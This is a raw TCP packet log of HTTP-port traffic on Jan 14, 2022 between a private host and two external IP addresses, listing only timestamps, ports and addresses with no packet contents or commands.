Jan 14, 2022 12:29:18.989419937 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:18.989425898 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:18.989425898 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:18.989451885 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:18.989475965 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:18.989487886 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:18.989499092 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:18.989522934 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:18.989528894 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:18.989547014 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:18.989571095 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:18.989573956 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:18.989593983 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:18.989618063 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:18.989633083 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:18.989648104 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:18.989672899 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:18.989687920 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:18.989696980 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:18.989727974 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:18.989731073 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:18.989757061 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:18.989779949 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:18.989783049 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:18.989804983 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:18.989825964 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:18.989830017 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:18.989866018 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:18.989881039 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:18.989891052 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:18.989914894 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:18.989939928 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:18.989944935 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:18.989964008 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:18.989988089 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:18.989988089 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:18.990010023 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:18.990034103 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:18.990035057 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:18.990058899 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:18.990082026 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:18.990082979 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:18.990107059 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:18.990130901 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:18.990150928 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:18.990155935 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:18.990181923 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:18.990194082 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:18.990206003 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:18.990241051 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:19.007323980 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.007350922 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.007375002 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.007396936 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.007400990 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:19.007424116 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.007438898 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:19.007443905 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.007471085 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:19.028678894 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.028707981 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.028728962 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.028750896 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.028769970 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:19.028773069 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.028795958 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.028800011 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:19.028827906 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:19.028836012 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.028860092 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.028882980 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.028883934 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:19.028907061 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.028925896 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:19.028932095 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.028955936 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.028973103 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:19.028979063 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.029002905 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.029022932 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:19.029026031 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.029048920 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.029067039 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:19.029073954 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.029098988 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.029115915 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:19.029126883 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.029151917 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.029169083 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:19.029177904 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.029201984 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.029218912 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:19.029226065 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.029249907 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.029266119 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:19.029273033 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.029294968 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.029314995 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:19.029319048 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.029342890 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.029361963 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:19.029366016 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.029388905 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.029407024 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:19.029412031 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.029433966 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.029452085 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:19.029455900 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.029479027 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.029496908 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:19.029501915 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.029524088 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.029542923 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:19.029546022 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.029570103 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.029587984 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:19.029593945 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.029616117 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.029642105 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:19.029644012 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.029676914 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.029697895 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.029710054 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:19.029720068 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.029743910 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.029753923 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:19.029768944 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.029792070 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.029793978 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:19.029814005 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.029834032 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:19.047106981 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.047136068 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.047158957 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.047174931 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:19.047183037 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.047200918 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:19.047205925 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.047228098 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.047251940 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.047255993 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:19.047277927 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.047300100 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.047313929 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:19.047323942 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.047348976 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.047358990 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:19.047373056 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.047398090 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.047401905 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:19.047420979 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.047441959 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:19.047445059 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.047471046 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.047487974 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:19.047494888 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.047518969 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.047538042 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:19.047543049 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.047566891 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.047589064 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:19.047591925 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.047616959 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.047635078 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:19.047641039 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.047666073 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.047688961 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.047694921 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:19.047712088 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.047732115 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:19.047735929 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.047758102 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.047779083 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:19.047780991 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.047804117 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.047826052 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.047827005 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:19.047849894 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.047873974 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.047884941 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:19.047897100 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.047920942 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:19.047923088 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.047945976 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.047967911 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:19.047971010 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.047995090 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.048013926 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:19.048015118 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.048059940 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:19.068203926 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.068238974 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.068262100 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.068284035 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.068301916 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:19.068322897 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.068332911 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:19.068346977 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.068371058 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.068394899 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.068404913 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:19.068417072 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.068434000 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.068450928 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.068468094 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.068485975 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.068504095 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.068522930 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.068543911 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.068572998 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.068592072 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.068609953 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.068617105 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:19.068628073 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.068649054 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.068675995 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.068700075 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.068716049 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:19.068725109 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.068748951 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.068753004 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:19.068773985 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.068790913 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:19.068798065 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.068820953 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.068837881 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:19.068846941 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.068872929 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.068877935 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:19.068895102 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.068918943 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.068922043 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:19.068942070 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.068964958 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.068969011 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:19.068990946 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.069015980 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.069026947 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:19.069044113 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.069067955 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.069071054 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:19.069092989 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.069118023 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.069127083 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:19.069152117 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.069175005 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.069186926 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:19.069199085 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.069222927 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.069232941 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:19.069246054 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.069271088 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.069278955 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:19.069293976 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.069318056 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.069329023 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:19.069369078 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:19.086513042 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.086540937 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.086563110 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.086585045 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.086606979 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.086607933 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:19.086646080 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:19.086647034 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.086697102 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:19.086705923 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.086728096 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.086754084 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.086779118 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:19.086781979 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.086807013 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.086833000 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.086846113 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:19.086857080 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.086879969 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.086884975 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:19.086904049 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.086925983 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.086927891 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:19.086950064 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.086972952 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.086976051 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:19.086997032 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.087021112 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.087021112 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:19.087043047 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.087066889 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.087068081 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:19.087090969 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.087111950 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:19.087115049 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.087136984 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.087161064 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.087161064 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:19.087183952 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.087209940 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.087212086 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:19.087234020 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.087255001 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:19.087256908 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:19.087302923 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:19.093024015 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:19.110181093 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:20.656852961 CET	49794	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:20.674124002 CET	80	49794	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:20.674226046 CET	49794	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:20.674309015 CET	49794	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:20.674401999 CET	49794	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:20.692610025 CET	80	49794	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:20.792958021 CET	80	49794	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:20.793515921 CET	49794	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:20.793668032 CET	49794	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:20.810842037 CET	80	49794	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:20.822036982 CET	49795	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:20.839464903 CET	80	49795	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:20.839879990 CET	49795	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:20.839986086 CET	49795	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:20.839997053 CET	49795	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:20.857332945 CET	80	49795	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:20.959633112 CET	80	49795	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:20.959656954 CET	80	49795	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:20.959811926 CET	49795	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:20.959954023 CET	49795	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:20.977297068 CET	80	49795	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:21.073360920 CET	49796	80	192.168.2.4	54.38.220.85
Jan 14, 2022 12:29:21.092614889 CET	80	49796	54.38.220.85	192.168.2.4
Jan 14, 2022 12:29:21.092741966 CET	49796	80	192.168.2.4	54.38.220.85
Jan 14, 2022 12:29:21.093039989 CET	49796	80	192.168.2.4	54.38.220.85
Jan 14, 2022 12:29:21.112019062 CET	80	49796	54.38.220.85	192.168.2.4
Jan 14, 2022 12:29:21.112071991 CET	80	49796	54.38.220.85	192.168.2.4
Jan 14, 2022 12:29:21.140292883 CET	49797	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:21.157704115 CET	80	49797	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:21.157805920 CET	49797	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:21.157941103 CET	49797	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:21.157978058 CET	49797	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:21.162414074 CET	49796	80	192.168.2.4	54.38.220.85
Jan 14, 2022 12:29:21.175292015 CET	80	49797	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:21.295578957 CET	80	49797	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:21.295694113 CET	49797	80	192.168.2.4	8.209.70.0
